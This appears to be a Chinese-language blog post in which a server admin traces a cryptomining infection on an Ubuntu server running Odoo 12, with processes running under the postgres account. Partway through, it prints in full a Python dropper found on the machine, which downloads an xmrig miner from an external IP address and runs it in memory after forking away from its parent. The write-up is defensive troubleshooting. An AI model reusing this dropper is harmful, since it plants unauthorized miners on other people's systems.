服务器异常 随机名称的进程CPU资源占用过高
操作系统: Ubuntu 16.04
之前部署完odoo12后就经常出现服务挂掉的情况,查看状态一般都是某某包缺失,然后各种安装包,重启服务,这次发现CPU占用达到399%,而且每次进程名称都是随机的,通过postgres用户执行,遂怀疑之前安装包的时候装了什么不好的东西,通过以下步骤排查:
1. 通过top命令查看进程
发现PID为2981的进程异常
2. 通过在进程目录下找执行的程序:
cd /cd/proc/2981 sudo ls -l exe
定位到执行文件所在目录/var/lib/postgressql
3. 定位到执行文件后,切换到执行文件所在目录删除可疑文件
cd /var/lib/postgresql ls -la
一下就看到有若干可疑脚本文件和文件夹,将.ssh、.systemd-init、.bash_history都删除了。
4. kill异常进程
kill -9 2981
然后再使用top命令查看进程
世界暂时安静了。
后续:观察了一小会,发现问题依旧,又出了一个新进程占CPU399%了,于是继续排查。
1. 通过对异常进程定位,发现还是在之前的目录,但进入到目录,发现之前被删除的文件没有再出现,于是进入到子目录内查找,在以下目录发现新问题
首先,映入眼帘的是go.py文件,这太明显了,于是打开该文件,内容如下:
import os import sys import ctypes import hashlib import urllib2 import platform def run_miner(binary): fd = ctypes.CDLL(None).syscall(319, "", 1) final_fd = open('/proc/self/fd/' + str(fd), 'wb') final_fd.write(binary) final_fd.close() fork1 = os.fork() print os.getpid() if 0 != fork1: os._exit(0) ctypes.CDLL(None).syscall(112) fork2 = os.fork() if 0 != fork2: os._exit(0) os.execl('/proc/self/fd/' + str(fd), '', '') def load_miner(url): try: response = urllib2.urlopen(url) binary = response.read() except: return None return binary def get_sysinfo(): _arch = ctypes.sizeof(ctypes.c_void_p) * 8 if _arch is 64: _arch = 64 elif _arch is 32: _arch = 32 else: return False kernel_name = platform.system() if "linux" in kernel_name: _os_name = "linux" elif "win" in kernel_name: _os_name = "win" else: return False return _os_name, _arch def get_md5(binary): return hashlib.md5(binary).hexdigest() if __name__ == "__main__": os_name, arch = get_sysinfo() if os_name != "linux": sys.exit(0) miner_url = "http://185.193.125.38:8000/cyka/xmrig-" + arch miner_md5 = ["fd4e61e02958b57b8446325b62efa1ea", "616b7f7f9a061fd8a90c83467e7139e0"] miner_max_retry = 10 _dl_count = 1 while True: miner_bin = load_miner(miner_url) if get_md5(miner_bin) in miner_md5 or miner_max_retry < _dl_count: break _dl_count = _dl_count + 1 try: run_miner(miner_bin) except: pass
很明了了,应该就是它,删除该文件,然后kill掉异常进程,继续观察,一会后,问题依旧!!!!!
继续排查,还是在原来的目录下发现一个可执行文件,如下
这是可疑文件,删除之,欸,没任何反应。。。
rm -rf 删了没反应!!!
文件还是在!!!
怎么办???
没权限??
chmod赋个777
见鬼!
看着那个绿色的postgresq1眉头紧蹙,捶胸顿足,木有办法呢
十分钟过去了
二十分钟过去了
灵光一现,那后面不是l是1啊,这名字太好了,于是直接:
rm -rf postgresq1
删掉了!!!!!!!
赶紧kill异常进程,再观察,这次应该没问题了。
再次后续。问题又来了!!!!!
若干时间后问题再现了,该删的都删了,还是能自动执行,查看了crontab任务、自启动项,都没有收获,几乎想放弃了,想到对方使用postgres账户执行,遂设置postgres账户密码,使用较强密码,然后再kill异常进程,过去40分钟了,这次没有再看到新的进程,谢天谢地!